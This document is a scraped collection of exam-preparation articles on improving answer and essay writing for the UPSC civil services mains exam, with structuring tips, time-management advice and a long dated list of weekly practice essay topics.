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How to Improve Your Writing Skills for the UPSC Mains Exam

As you are well aware the UPSC mains exam consists of nine descriptive papers. Here also, you must score the minimum required marks to get the interview call from the board. Thousands of people take the mains written exam and mostly all study similar material.

So, how do you distinguish your best answers from the rest? You need to write in a style that is good, neat, systematic, error-free, aesthetic, and one that shows your clean grasp of facts. This article will give you insights on how to improve writing skills for the UPSC mains exam and more tips on answer writing skills for the  IAS exam .

Skilful Answer Writing for UPSC Mains

The following tips will help improve your writing skills for the UPSC Mains Exam-

1. Increase your reading count

You can improve your writing by reading a lot. Sure, you have to read a lot for your IAS preparation, but the next time when you read a newspaper or magazine, do focus on the written content style also. Reading more familiarises you with good writing practices subconsciously and this will be reflected in your writing as well. So, reading more is the first step in knowing how to improve answer writing in UPSC mains exam .

2. Keep your outline consistent

The outline refers to the basic structure of your written piece, in your case, answers. You should have an introduction, body and conclusion to your piece. And they must be consistent as much as possible.

3. Do not use unnecessary jargons or technical terms. Also, avoid clichés

While writing answers in the UPSC mains, restrict the use of unnecessarily technical words and clichés. Don’t write just to fill up the word count. Remember that quality is better appreciated than quantity. The examiner will most likely be put off by a paper that comes across as written by a person trying to show off his knowledge.

4. Avoid generalizations

In any writing, generalizations are best avoided. Always give material that you can substantiate with basic facts and information.

5. Do not overdo the embellishments

You must definitely give quotes in your answer. They certainly show your erudition. But avoid giving too many quotes. Also, you can give a few metaphors and similes in your answers. But only very rarely and when you think they are absolutely essential to the point being told. Otherwise, save the embellishments for the English literature optional paper!

6. Be original

This point is self-explanatory. Don’t just reproduce what you read as it is onto the answer paper. Write in your own words. Don’t invent stuff up. But don’t curtail your creativity in writing.

7. Practice makes perfect

Nothing can be perfected or at least improved without practice. Practice answer writing for the UPSC exam as it can make the difference between winning and losing in this high-competition exam.

For 10 quick tips on answer writing , visit the linked article.

8. Make your writing error-free as much as possible

Always make sure that your answers are free from grammatical and spelling errors.

Inculcate all the above-mentioned tips in your writing practise daily and you will see yourself becoming more adept at this art. Mere knowledge is not enough to pass the IAS exam. You need to convince the examiner correcting your answer booklet that you have good knowledge and ideas to become a first-class civil servant. This is possible by writing simple yet effective answers that not only give the required information but also are a pleasure to read as well.

To know more about the topics generally asked in the exam, visit the UPSC Syllabus .

You can find more UPSC-related preparation materials and other articles with the links given in the table below:

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Following are the topics on which our followers have written (and writing essays) every Sunday to hone their essay writing skills. The topics are chosen based on UPSC previous year topics. Writing one essay on each Sunday will help you get better marks in this paper.

ESSAY STRATEGY by Topper – Rank 1 CSE 2017

ESSAY STRATEGY by Topper – Rank 25 CSE 2015

ESSAY STRATEGY by Topper – Rank 40 CSE 2015

  • [VIDEO] How to Improve Marks in Essay and Ethics Papers?
  • [VIDEO] How to Write Philosophical Essays


  • February 25, 2024 : Who Looks Inside Awakes, Who Looks Outside Dream
  • February 18, 2024 : Never Let School Interfere With Your Education
  • February 11, 2024 : Whoever Controls the Media Controls the Mind
  • February 04, 2024 : A certain darkness is needed to see the stars
  • January 28, 2024 : Those who cannot remember the past are condemned to repeat it
  • January 21, 2024 : Subtle Is powerful
  • January 14, 2024 : The power of community to create health is far greater than any physician, clinic or hospital. 
  • January  07, 2024 : Give them Quality. That’s The Best Kind of Advertising


  • December 31, 2023 : The only antidote to mental suffering is physical pain
  • December 24, 2023 : All Great Changes Are Preceded By Chaos
  • December 17, 2023 : We are drowning in information, but starved for Knowledge
  • December 10, 2023 : Violence Is the last resort of the incompetent
  • December 03, 2023 : Be a Voice, Not an Echo
  • November 26, 2023 : A Society that has more justice is the society that needs less charity
  • November 19, 2023 : Sell Your Cleverness and Buy Bewilderment
  • November 12, 2023 : love takes off the masks that we fear we cannot live without and know we cannot live within
  • November 5, 2023 : Clothes Make The Man
  • October 29, 2023 : Education is what remains after one has forgotten what one has learned in school.
  • October 22, 2023 : Mathematics is the music of reason
  • October 15, 2023 : Girls are weighed down by restrictions, boys with demands – two equally harmful disciplines
  • October 08, 2023 : Inspiration for creativity springs from the effort to look for the magical in the mundane.
  • October 01, 2023 : Not All Who Wander Are Lost
  • September 24, 2023 : Visionary Decision-Making happens at the intersection of intuition and logic
  • September 17, 2023 : Thinking Is Like A game. It does not begin unless there is an opposition team.
  • September 10, 2023 : Unless we have well-educated people, we are vulnerable on National Security
  • September 03, 2023 : Harsh Laws are, at times, better than No laws
  • August 27, 2023 : Nations Do Not Die From Invasion. They Die From Internal Rottenness
  • August 20, 2023 : In Individuals, insanity is rare; In groups, parties and nations, it is the rule.
  • August 13, 2023 : Economics Is Too Important To Leave To The Economists.
  • August 06, 2023 : A self without a book-shelf is naked.
  • July 30, 2023 : Wrong Choices Lead To Right Places
  • July 23, 2023 : Credit where credit is due.
  • July 16, 2023 : A right is not what someone gives you; it’s what no one can take away from you.
  • July 9, 2023 : The measure of intelligence is the ability to change
  • July 2, 2023 : Do what you can, with what you have, where you are. 
  • June 25, 2023 : In the long run , the sword will always be conquered by the spirit
  • June 18, 2023 : The company you keep determines your Success
  • June 11, 2023 : A disciplined mind brings happiness.
  • June 4, 2023 : Our moral responsibility is not to stop the future but to shape it
  • May 28, 2023 : Action breeds confidence and courage
  • May 21, 2023 : A library is a hospital for the mind
  • May 14, 2023 : Self-Education is Life-Long Curiosity
  • May 7, 2023 : Silence is Spurious Golden
  • April 30, 2023 : The price of greatness is responsibility
  • April 23, 2023 : Progress is impossible without change
  • April 16, 2023 : The Impact of Artificial Intelligence.
  • April 9, 2023 : People would rather believe than know.
  • April  2, 2023 : Prioritizing education technology for global growth
  • March 26, 2023 : Technology is a weapon against poverty
  • March 19, 2023 : Every choice you make makes you
  • March 12, 2023 : Patience is a virture ; virtue is a grace
  • March 5, 2023 : Before any fight, it is the fight of mind
  • February 26, 2023 :  The Measure of a man is what he does with Power.
  • February 19, 2023 : When you kill time, you kill life.
  • February 12, 2023 : Delayed success mostly stays forever.
  • February 05, 2023 : The wound is the place where the Light enters you.
  • January 29, 2023 : Doubt is an uncomfortable condition, but certainty is a ridiculous one.
  • January 22, 2023 : I am what I am, so take me as I am
  • January 15, 2023 : Real learning comes about when the competitive spirit has ceased
  • January 08, 2023 : Time hurts but it also heals. It punishes but it rewards too- it is the greatest teacher ever for a human.
  • January 01, 2023 : The Beginning is the End and the End is The Beginning.


  • December 25, 2022 : To tolerate is purely an act of mind
  • December 18, 2022 : The arc of moral universe is long, but it bends towards justice
  • December 11, 2022 : Religion is a culture of faith; Science is a culture of doubt.
  • December 04, 2022 : My best friend is a person who will give me a book I have not read
  • November 27, 2022 : Everything comes to him who hustles while he waits
  • November 20, 2022 : We are always blind as we want to be
  • November 13, 2022  : By your stumbling, the world is perfected.
  • November 6, 2022 : You cannot step twice in the same river
  • October 30, 2022 : Just because you have a choice, it does not mean that any of them has to be right.
  • October 23, 2022 : A smile is the chosen vehicle for all ambiguities
  • October 16, 2022 : The time to repair the roof is when the sun is shining
  • October 9, 2022 : A ship in harbour is safe, but that is not what ship is for
  • October 2, 2022 : History is a series of victories won by the scientific man over the romantic man
  • September 25, 2022 : Poets are the unacknowledged legislators of the world
  • September 18, 2022 : Forests are the best case studies for economic excellence
  • September 11, 2022 : Culture changes with economic development.
  • September 4 2022 : We don’t see things as they are, we see them as we are.
  • August 28 2022 :  The obstacle is the path.
  • August 21 2022 : What is to give light must endure burning.
  • August 14 2022 : “He who has never learned to obey cannot be a good commander.” Aristotle.
  • August 7 2022 : Any fool can know. The point is to understand.” Albert Einstein
  • July 31, 2022 : A bad conscience is easier to cope with than a bad reputation. Friedrich Nietzsche.
  • July 24, 2022 : Time is all we have and don’t
  • July 17, 2022 : Life fritters away when distractions become your lifestyle
  • July 10, 2022 : After every darkness comes the dawn July 10, 2022 : After every darkness comes the dawn
  • July 3, 2022 : Mind – a beautiful servant? Or a dangerous master?
  • June 26, 2022 : Education Breeds Peace
  • June 19, 2022 : A great leader is never angry
  • June 12, 2022 : That which hurts, instructs; That which instructs, creates; Creates Wonders!
  • June 05, 2022 : Don’t let what you cannot do interfere with what you can do
  • May 29, 2022 : The journey is a reward as well as destination
  • May 22, 2022 : Imagination creates reality
  • May 15, 2022 : The curious paradox is, only if we accept things as they are, things can change
  • May 08, 2022:  The whole problem with the world is that fools and fanatics are so certain of themselves, while wiser people are so full of doubts
  • May 01, 2022:  Loyalty To Country Always. Loyalty To Government Only When It Deserves
  • April 24, 2022: Successful Investing Is Anticipating The Anticipations of Others
  • April 17, 2022: Courage is resistance to fear, mastery of fear, not absence of fear
  • April 10, 2022 : Tell me and I forget. Teach me and I remember. Involve me and I learn
  • April 03, 2022 : Forgiveness is the final form of love
  • March 27, 2022 : The world of reality has its limits; the world of imagination is boundless
  • March 20, 2022 : Reason has always existed, but not always in a reasonable form.
  • March 13, 2022 : Everything we hear is an opinion; not a fact
  • March 5, 2022 : There are better practices to “best practices”
  • February 27, 2022 : History repeats itself first as a tragedy second as a farce.
  • February 20, 2022 : What is research, but a blind date with knowledge!
  • February 13, 2022 : Hand that rocks the cradle rules the world
  • February 6, 2022 : The real is rational and the rational is real.
  • January 30, 2022 : Philosophy of Wantlessness Is Utopian, while the philosophy of materialism is chimera.
  • January 23, 2022 : Your perception of me is a reflection of you; my reaction to you is an awareness of me.
  • January 16, 2022 : The process of self-discovery has now been technologically outsourced.
  • January 09, 2022 : Knowing oneself is the beginning of all wisdom
  • January 02, 2022 : Biased Media Is A Real Threat To Indian Democracy


  • December 26, 2021 : What Gets Measured Gets Managed
  • December 19, 2021 : The enemy of stability is complacency
  • December 12, 2021 : A clear conscience fears no accusation
  • December 05, 2021 : Power of vested interests is vastly exaggerated compared with the gradual encroachment of ideas
  • November 28, 2021 : The whole is more than a sum of its parts
  • November 21, 2021 : Scientific and technological progress cannot be equated with the progress of humanity
  • November 14, 2021 : The price of our vitality is the sum of all our fears
  • November 7, 2021 : Lawlessness is the result of failure to cultivate a sense of self-evaluation
  • October 30, 2021 : What you do makes a difference, and you have to decide what kind of difference you want to make
  • October 24, 2021 : Science for the economic freedom of humanity
  • October 17, 2021 : An interdependent world cannot be an inequitable world
  • October 03, 2021 : Strength comes from an indomitable Will
  • SEPTEMBER 26, 2021 : Ethnocracy and concentration of power can derail even an affluent nation
  • SEPTEMBER 19, 2021 : Conservation is a state of harmony between men and land.
  • SEPTEMBER 12, 2021 : Culture of entitlement comes with unreasonable expectations and insecurities 
  • SEPTEMBER 5, 2021 : Literacy is a vital skill that enhances dignity, improves health outcomes, empowers people to access their rights and bolsters opportunities
  • AUGUST 29, 2021 : A parliamentary system of government rests on a functioning opposition as ‘no democracy can do without it’.
  • AUGUST 22, 2021 : Development must lead to dismantle all kinds of human unfreedom
  • AUGUST 15, 2021 : Sport is a reflection of larger social phenomena
  • AUGUST 8, 2021 : Every social stratum has its own Common Sense and its own good sense
  • AUGUST 1, 2021 : Capitalism without competition is not Capitalism. It is Exploitation.
  • JULY 25, 2021 : We don’t have to sacrifice a Strong Economy for a Healthy Environment
  • JULY 18,2021 : We Need not a social conscience, but a social consciousness.
  • JULY 11, 2021 : The cure for evils of democracy is more democracy.
  • JULY 04, 2021 : No Constitution by itself achieves perfect justice
  • JUNE 27, 2021 : Our world has achieved brilliance without conscience.
  • JUNE 20, 2021 : Our common humanity demands that we make the impossible possible.
  • JUNE 13, 2021 : Without courage we cannot practice any other virtue with consistency. We can’t be kind, true, merciful, generous, or honest.
  • JUNE 06, 2021 : The political problem of mankind is to combine three things: economic efficiency, social justice and individual liberty.
  • MAY 30, 2021 : Economics without ethics is a caricature & ethics without economics is a fairy tale.
  • MAY 23 , 2021 : Indecisiveness is the rival of Progression
  • MAY 16 , 2021 : Time changes everything except something within us which is always surprised by change.
  • May 09, 2021 : The possession of arbitrary power has always, the world over, tended irresistibly to destroy humane sensibility, magnanimity, and truth
  • May 02, 2021 : The truth of character is expressed through choice of act ions
  • April 25, 2021 : It is not our differences that divide us; It is our inability to recognise, accept, and celebrate those differences.
  • April 18, 2021 : Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
  • April 11, 2021 : Solutions emerge if situations are not forced
  • April 04, 2021 : Morality is subservient to materialistic values in present times
  • March 28, 2021 : Prejudice is a burden that confuses the past, threatens the future and renders the present inaccessible
  • March 21, 2021 : Our major social problems are not the cause of our decadence but are a reflection of it
  • March 14, 2021 : The Future of Multilateralism : Towards a responsible Globalization
  • March 07, 2021 : Subtlety may deceive you; Integrity never will
  • February 28, 2021 :Technology as the silent factor in international relations
  • February 21, 2021 :Patriarchy is the least noticed yet the most significant structure of social inequality
  • February 14, 2021:There can be no social justice without economic prosperity but economic prosperity without social justice is meaningless
  • February 07, 2021: Culture is what we are civilization is what we have
  • January 31, 2021: Simplicity is the ultimate sophistication
  • January 24, 2021: Ships do not sink because of water around them , ships sink because of water that gets into them
  • January 17, 2021: Mindful manifesto is the catalyst to a tranquil self
  • January 10, 2021: Life is long journey between human being and being humane
  • January 03, 2021: The Covid pandemic has revealed the urgent need for effective governance everywhere”
  • December 27, 2020: Challenges of 21st Century – insurmountable?
  • December 20, 2020: Too much Democracy is Detrimental to Development
  • December 13, 2020: Happiness is not an ideal of reason, but of imagination.


  • December 06, 2020 : As you Start to walk on the way, the Way appears
  • November 29, 2020: Need of the Hour is to Maximise Possibilities of Agriculture in India
  • November 22, 2020: The survival of democracy depends on its ability to lower social uncertainty
  • November 15, 2020: There is no greatness where there is no simplicity
  • November 08, 2020: Inequality can be Reduced by the Power of the Market rather than the Government
  • November 01, 2020: Civil liberties are fundamental to the functioning of modern democracies
  • October 25, 2020: Artificial Intelligence is Not All Evil – It can Promote Social Good Too
  • October 18, 2020: Wherever law ends, tyranny begins
  • October 11, 2020:Hyper-globalism is threat to human prosperity
  • September 27, 2020: Our World is in a Surplus of Multilateral Challenges and a Deficit of Solutions
  • September 20, 2020: In India Agriculture and the Farmer are both the Victims of Narrow Political Vision
  • September 13, 2020: India Needs Aggressive and Pragmatic Neighbourhood Policy
  • September 6, 2020: “The greatest discovery of all time is that a person can change his future by merely changing his  attitude .
  • August 30, 2020: The worst form of inequality is to try to make unequal things equal
  • August 23, 2020: Justice will not be served until those who are unaffected are as outraged as those who are.
  • August 16, 2020: Life without liberty is like a body without spirit.
  • August 09, 2020: Strive not to be a success, but rather to be of value
  • August 02, 2020: New Education Policy 2020: A Progressive Policy with Diverse Challenges
  • July 26, 2020: In a democracy, the individual enjoys not only the ultimate power but carries the ultimate responsibility
  • July 19, 2020: Education is a progressive discovery of our own ignorance
  • July 12, 2020: The human spirit must prevail over technology
  • July 05, 2020: When the power of love overcomes the love of power the world will know peace.
  • June 28, 2020: Today India Needs ‘Harmony in Diversity’, Not Unity in Diversity.
  • June 21, 2020: A people without the knowledge of their past history, origin and culture is like a tree without roots.
  • June 14, 2020: Post Independence, the Issue of Land is at the Core of India’s Non-Achievement of Its Development Aspirations
  • June 7, 2020: Never Let a Good Crisis Go to Waste
  • May 31, 2020: Despite Challenges, To be a Healthy and Successful Nation, India must Ensure Universal Health Coverage 
  • May 24, 2020: Nearly all men can stand adversity, but if you want to test a man’s character, give him power.
  • May 17, 2020:The test of our progress is not whether we add more to the abundance of those who have much it is whether we provide enough for those who have too little
  • May 10, 2020: Urban Exclusion of Migrant Workers in India is a Reality and Needs Urgent Robust Policy Measures
  • May 03, 2020: Uncertainty should ignite creativity, not depravity
  • April 26, 2020: The fool doth think he is wise but the wise man knows himself to be a fool
  • April 19, 2020: Social Harmony, not Social Distancing, is the final solution to all our problems
  • April 12, 2020: It is our choices, that show what we truly are, far more than our abilities
  • April 05, 2020: Education must also train one for quick, resolute and effective thinking
  • March 29, 2020: “Problems cannot be solved at the same level of awareness that created them”
  • March 22, 2020: In order to understand the world one has to turn away from it on occasion
  • March 15, 2020: Pandemics such as COVID-19, though Catastrophic, are in the end Meant to Reset Humanity and its Priorities
  • March 08, 2020: Those who have wisdom have all: Fools with all have nothing
  • March 01, 2020: Indifferentism is the worst kind of disease that can affect people.
  • [VIDEO] Perspectives on Essay Topic of Feb 23
  • February 23, 2020: To ease another’s heartache is to forget one’s own.
  • February 16, 2020 : When civil services does its job, people will not need social service
  • February 09, 2020 : The greatest threat to our planet is the belief that someone else will save it.
  • February 02, 2020: Ability will get you success, Character will keep you successful.
  • January 26, 2020: Media’s duty is to inform public, not manufacture opinion.
  • January 19, 2020: Freedom is not worth having if it does not include the freedom to make mistakes
  • January 12, 2020 : Women who seek to be equal with men lack ambition
  • J anuary 5, 2020 : All war is a symptom of man’s failure as a thinking animal
  • December 29, 2019 : There cannot be daily democracy without daily citizenship
  • December 22, 2019: War is the ultimate Price we pay for lasting Peace
  • December 15, 2019 : Inclusivity and Plurality are the hallmarks of a peaceful society
  • December 08, 2019: Justice Loses Character if it becomes Revenge
  • December 01. 2019: Economic Growth and Development are Shaped by the Societies in which they Operate
  • November 24, 2019: Social Media is the Fourth Pillar of Democracy
  • November 17, 2019: Media is No More a Fourth Pillar of Democracy
  • November 10, 2019: Rise of Artificial Intelligence: the threat of jobless future or better job opportunities through reskilling and upskilling
  • November 03, 2019:Biased media is a real threat to Indian democracy
  • October 27, 2019: Neglect of primary health care and education in India are reasons for its backwardness
  • October 20, 2019: South Asian societies are woven not around the state, but around their plural cultures and plural identities
  • October 13, 2019: Courage to accept and dedication to improve are two keys to success
  • October 06, 2019: Best for an individual is not necessarily best for the society
  • September 29, 2019: Values are not what humanity is, but what humanity ought to be
  • September 22, 2019: Wisdom finds truth


  • September 15, 2019: Kashmir Problem – Historical Injustice or Misguided Geopolitics?
  • September 08, 2019: India’s Space Ambitions – Are they Welfarist?
  • September 01, 2019: India – $5 Trillion Economy: Dream or Reality?
  • August 25, 2019 Knowledge will give you power, but character respect.
  • August 18, 2019 The mind is everything. What you think you become.
  • August 11, 2019: Virtue is Knowledge
  • August 04, 2019: Inclusive governance begets Inclusive growth
  • July 28, 2019: India’s headache: Unemployment or Underemployment?
  • July 21, 2019: The road to science and spirituality are opposite, but we should tread both
  • July 14, 2019: India is a leading power, rather than just a balancing power
  • July 07, 2019: Should the world embrace democratic socialism or progressive capitalism?
  • June 30, 2019: Impact of Digital Revolution on Human Wellbeing
  • June 23, 20 19: Contentment is natural wealth, luxury is artificial poverty
  • June 16, 2019: The definition of happiness is the full use of your powers, along the lines of excellence.
  • June 09, 2019: Not Corruption, Communalism is the Greatest Threat India is facing Today
  • May 19, 2019: First they ignore you, then they laugh at you, then they fight you, then you win.
  • May 12, 2019: Never interrupt your enemy when he is making a mistake
  • May 05, 2019: Happiness equals reality minus expectations
  • April 28, 2019: Political correctness is tyranny with manners
  • April 21, 2019: The only thing necessary for the triumph of evil is for good men to do nothing.
  • April 07, 2019: Dogma is the sacrifice of wisdom to consistency
  • March 31, 2019: The true measure of a man is how he treats someone who can do him absolutely no good.
  • March 24, 2019: Terrorism has No Religion
  • March 17, 2019: Money and Religion – Great Unifiers of Humankind?
  • March 10, 2019: Tradition becomes our security, and when the mind is secure it is in decay
  • March 03, 2019: Innovation distinguishes between a leader and a follower
  • February 24,2019: Knowledge speaks, but wisdom listens
  • February 17, 2019: Problems worthy of attack prove their worth by fighting back
  • February 10, 2019: Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
  • February 03, 2019: You can avoid reality, but you cannot avoid the consequences of avoiding reality
  • January 27, 2019: Glory is fleeting, but obscurity is forever
  • January 20, 2019: All that we are is the result of what we have thought.
  • January 12, 2019: All differences in this world are of degree, and not of kind, because oneness is the secret of everything.
  • January 06, 2019: National security is Irreversibly linked to good economic growth


  • December 28, 2018: To plan for smart development, governments and business must recognize nature’s role in supporting economic activity
  • December 23, 2018: Government Surveillance – Good or Bad?
  • December 16, 2018: Trade Wars – Economic or Geopolitical?
  • December 02, 2018: Immigration is Not a Threat, but Fundamentally it’s an Economic Issue
  • November 25, 2018: A people that values its privileges above its principles loses both
  • November 18, 2018: “The past’ is a permanent dimension of human consciousness and values
  • November 11, 2018: A good life is one inspired by love and guided by knowledge
  • November 04, 2018: Management of Indian border disputes – a complex task
  • October 28, 2018: Alternative technologies for a climate change resilient India
  • October 21, 2018: Poverty anywhere is a threat to prosperity everywhere
  • October 14, 2018: Reality does not conform to the ideal, but confirms it
  • October 07, 2018: Customary morality cannot be a guide to modern life
  • September 30, 2018: Commercialization of Space : Importance and the need for regulation
  • September 23, 2018: E-commerce as a new form of trade and its challenges to India.
  • September 16, 2018: Ability is nothing without opportunity
  • September 09, 2018: Death Penalty eliminates Criminals, not Crime.
  • September 02, 2018: Dissent is the foundation of democracy.
  • August 26, 2018: Mars Mission and Mob lynchings are two obverse faces of India
  • August 19, 2018: Strengthening Land Rights Strengthens Development
  • August 12, 2018: Age of Big Data: Data is the New Oil, History is its oldest bank
  • August 05, 2018: Strong Institutions and fair procedures, not personalities constitute the fundamentals of good governance
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  • January 28, 2018: Politics of Identity is the Politics of the Weak
  • January 21, 2018: Poverty is the parent of revolution and crime
  • January 14, 2018: Peace cannot be kept by force; it can only be achieved by understanding
  • January 07, 2018: The Root Cause of Agrarian Distress in India – Failure of Policies or Failure of Governance?


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  • April 09, 2017: Should Youth in India Consider Politics as Career?
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  • January 22, 2017: Digital economy: A leveller or a source of economic inequality
  • January 15, 2017: Cyberspace and internet: Blessing or curse to the human civilization in the long run
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  • January 01, 2017: Need brings greed, if greed increases it spoils breed


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  • (December 04, 2016) – If development is not engendered, it is endangered
  • (November 27, 2016) – Social media is better at breaking things than at making things
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  • (November 06, 2016) – It is not inequality which is the real misfortune, it is dependence
  • (October 30, 2016) – Reducing Poverty while also Conserving Nature is an Impossible Task
  • (October 23, 2016) – Poverty can be eliminated by putting science at the heart of development
  • (October 16, 2016) – People shouldn’t be afraid of their government. Governments should be afraid of their people
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  • (January 24, 2016) – Crisis Faced in India – Moral or Economic?
  • (January 17, 2016) – Too many cooks spoil the broth
  • (January 10, 2016) – The Best Things in Life are Free
  • (January 3, 2016) – Don’t count your chickens before they hatch.


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How to Improve Writing Skills for UPSC CSE Mains Exam?

Last updated on October 16, 2023 by ClearIAS Team

How to Improve Writing Skills for UPSC Civil Services Mains Exam

Writing skills play an important role in the UPSC Civil Services Mains Exam.

The ability to express thoughts correctly and convincingly is important for success in this prestigious examination.

In this article, we will provide you with some practical tips to improve your writing skills to increase your chances of achieving success in the examination.

Table of Contents

Work on Fundamentals Before Starting Answer Writing Practice

Before starting working on writing skills it is important to make themselves aware of a few fundamental details. Such details will help you understand the requirements of the questions.

Without fundamentals, it is hard to satisfy the needs of the examinations. A few of such fundamentals are:

  • Familiarise yourself with the syllabus
  • Go through the standard books of all the subjects including NCERTs.
  • Stay updated with the current event and the best source for it is the newspaper.
  • Keep revising.

Any candidate appearing in the UPSC CSE Mains exam or willing to appear in the mains exam in the future must have to inculcate a few important details in their schedule. Such details are provided below.

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Understand the Exam Requirements

It is important to thoroughly familiarize with the exam’s requirements and stick to them while preparing for the examination.

Understand the structure, word limits, and evaluation criteria for each section, such as the essay, general studies papers, or optional subjects.

This knowledge will enable you to structure your writing style and content accordingly.

Analyze Previous Year Questions

It’s important to understand the pattern and style of the previous year’s questions.

Analyzing these questions provides insights into the examiners’ expectations. It helps you structure your answers effectively, ensuring relevance and clarity.

Practice Answer Writing

Regular practice of answer writing is also important for the UPSC CSE and one of the most reliable sources to begin their answer writing practice is the previous year’s paper.

Choose Previous Years’ question papers and practice writing concise answers within the given time frame. Focus on developing a suitable argument, providing relevant examples, and structuring your answers effectively.

Work on Clarity and Precision

Clear and precise writing leaves a lasting impact on the reader and in this case, on the examiner.

Avoid using difficult sentences or fancy words. Go for simplicity and clarity of expression.

Use precise and specific language to convey your ideas effectively, avoiding unnecessary verbosity.

Develop Analytical Skills

The UPSC exam demands analytical thinking and the ability to critically evaluate various perspectives.

Cultivate your analytical skills by analyzing complex situations from multiple angles, always think about their pros and cons. For that, you can use the reference of current events.

Create a Strong Introduction and Conclusion

An impactful introduction sets the tone for your essay or answer, while a well-crafted conclusion leaves a lasting impression.

Use the introduction to provide context and a clear thesis statement. The conclusion should summarize your main points and leave the reader with a thought-provoking idea or a call to action.

Read Model Answers

Refer to model answers of candidates who already have cleared the examination. Analyze their structure, language, and approach to answer writing.

Take note of how they effectively address the question, present arguments, and provide supporting examples. Incorporate these techniques into your own writing style while maintaining originality.

Time Management and Revision

Effective time management is important during this exam. Practice writing within time limits to improve speed without compromising on quality.

Always keep some time aside for revision to identify and rectify errors, improve sentence structure, and ensure overall coherence. A well-revised answer helps improve clarity and readability.

Work on Personality Development

Always keep yourself indulge in important discussions and change your perspective from a common man to a civil servant but do not fall into the trap of irrelevant discussions.

When it comes to the UPSC CSE, it’s not just about having theoretical knowledge of the subjects in the mains. They also seek candidates who can think critically, solve problems, and approach issues from an administrative standpoint.

Developing these skills requires active participation in discussions about important societal problems and national or international topics.

By indulging yourself in these discussions and seeking solutions, you can cultivate a problem-solving mindset and an administrative perspective.

Join a Model Answer Writing Program

Joining a model answer writing program can greatly benefit your preparation for the UPSC Civil Services Mains Exam.

These programs provide valuable guidance and support in favor of your writing skills.

By participating in such a program, you gain access to expert mentors who offer insights into effective answer writing techniques, proper structuring of answers, and providing relevant examples and evidence.

In case you are looking for a program where you can work on improving your answer writing, get proper evaluation and guidance, you can choose the ClearIAS model answer writing program as it is very friendly to candidates and provides valuable guidance.

Article Written By: Priti Raj

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how to improve essay writing skills for upsc


5 Essential Steps: How to Write an Essay in UPSC Mains

how to write an essay in upsc mains

Writing an essay in the Union Public Service Commission ( UPSC ) Mains examination can be a daunting task for many aspiring civil servants.

The essay paper carries a weightage of 250 marks and requires a high level of language proficiency, analytical thinking and writing skills. The essay is also one of the few opportunities for candidates to showcase their knowledge and views on a wide range of topics and make a lasting impression on the examiners.

In this blog, we will provide you with steps and strategies on how to write an essay in UPSC Mains exam.

Whether you are a first-time aspirant or an experienced candidate, you will find useful insights to help you approach the essay paper with confidence and write an essay that stands out. So, let’s get started!

UPSC CSE Mains Essay Writing Exam Pattern

What is a good score in essay writing paper in upsc mains, structure of an essay in upsc mains, 5 essential steps: how to write a well-structured essay in upsc mains, 1. t- time limit, 2. i- introduction, 3. p- paragraphs and pointers, 4. c- conclusion, 5. r- revision, strategy for essay writing in upsc mains exam, 1. the central idea is the key, 2. brainstorming for a better idea, 3. making a blueprint, essential elements of essays in upsc mains, the super 3, the supportive 3, personal comments and opinions, reference books for essay writing in upsc mains, faqs on how to write an essay in upsc mains exam, what is the format of an essay in upsc mains, how to choose a topic for an essay in upsc mains, how to write the introduction of an essay in upsc mains, how to write the body of an essay in upsc mains, how to write the conclusion of an essay in upsc mains, what are some common mistakes to avoid when writing an essay in upsc mains.

  • How to improve one's essay writing skills for UPSC Mains?
  • The paper comes under the UPSC CSE Mains exam in which two essays must be written within 3 hours, each within a 1000-1200 word limit.
  • Each carries 125 marks, so the total is 250 marks.
  • The paper is divided into two sections, each carrying a choice of 4 essays. The aspirant has to choose only one from each section.
  • UPSC CSE Syllabus clearly instructs aspirants to keep their thoughts close to the subject and arrange their ideas accordingly. It further states that credit will be given for effective essays and coherent expression’.

Also Read : How To Complete UPSC Mains Paper in 3 Hours? – A Clear-Cut Guide

The essay paper counts for up to 250 marks. A score above 50% could be considered good. 125 is the perfect example.

A score of around 110-125 is considered average.

For an exceptional essay, you might score a perfect mark in the range of 150-160.

How to structure an essay for the UPSC exam is the first and foremost thing that should be learnt while taking into consideration how to write an essay in UPSC Mains.

The traditional way of UPSC CSE Mains essay writing is to break it into paragraphs with pointers in simple language. This technique is still working in structuring an informative and well-written essay for UPSC Mains.

A body paragraph is of utmost importance besides the introduction and conclusion part. The body paragraph contains important facts, figures, data, and information along with several relevant quotes.

Here are some points regarding the structuring of an essay in the form of an introduction, body, and conclusion that will help you in writing a well-balanced essay.

  • The introduction part is the most important of all. Your introduction creates a first impression on the examiner. Your essay should always have a good starting and a conclusion.
  • Body paragraphs are equally important parts of the essay that can be supportive, critical, or narrative. However, it is advised to have a mature thought process in all forms and to not take any side or get emotional in writing a certain opinion.
  • Essays, along with facts and language skill also demands your opinion that should be written in a well-balanced way. The narrative part should be written by starting with an argument along with different facts.
  • Further, a supportive paragraph is necessary to contain positive facts/ideas. Talking of a critical paragraph, it is advised to place it in the last part with the exact expression. However, it depends on your will. You can also open with a critical part.
  • The conclusion is also crucial as it can bring you additional marks if done properly. Your concluding statement reveals a lot about you, as balancing every statement after a lot of critical evaluation and facts is a form of art.

Related Reading: How To Start Answer Writing Practice For UPSC: 5 Effective Pointers

Remember the mnemonic provided here that will help you to keep the important pointers in mind on how to write an essay in UPSC Mains.

Stick to the  TIPCR  formulae always. If you write with this structure, along with filling in a good amount of content, you are definitely going to score well in this paper.

Time management  is very important for UPSC CSE Main essay writing. You get 3 hours to write two essays in the exam which means you have 1 hour and 30 minutes for each essay.

It is a fact that any aspirant needs 45 minutes to 1 hour to write one essay. Another 10 minutes is required for the revision of one essay.

Before all this, you need at least 20-30 minutes to brainstorm, jot down some points, and make an outline. Dividing the time and sticking to it is the only key to scoring good marks.

A good start of the introduction always arises the interest in the examiner. The examiner’s judgment and how they are going to take your whole piece depends on your starting.

If you start well, you must also end in an impressive manner. A good introduction can be a brief explanation of the given topic and you can make it effective by adding some quotes, a critical narrative, or your own narrative.

Paragraphs and pointers provide a smooth flow to your essay which not only looks like a structured essay but also feels like a more informative but less hectic to read a piece of writing.

Paragraphs in small chunks or pointers like short paragraphs provide an establishment that leads towards a conclusion.

Examiners are habitual of reading something in an ordered way, especially in Mains essay writing section.

Finishing on a good or smooth note is as important as starting on a good note. A smooth and positive conclusion with a clear explanation will help you in scoring good marks.

There should be a ‘Cyclic-return’ approach in your essay. The introduction should end with a question or discussion and in the conclusion, you can again come to that question to conclude it with a positive statement or anecdote.

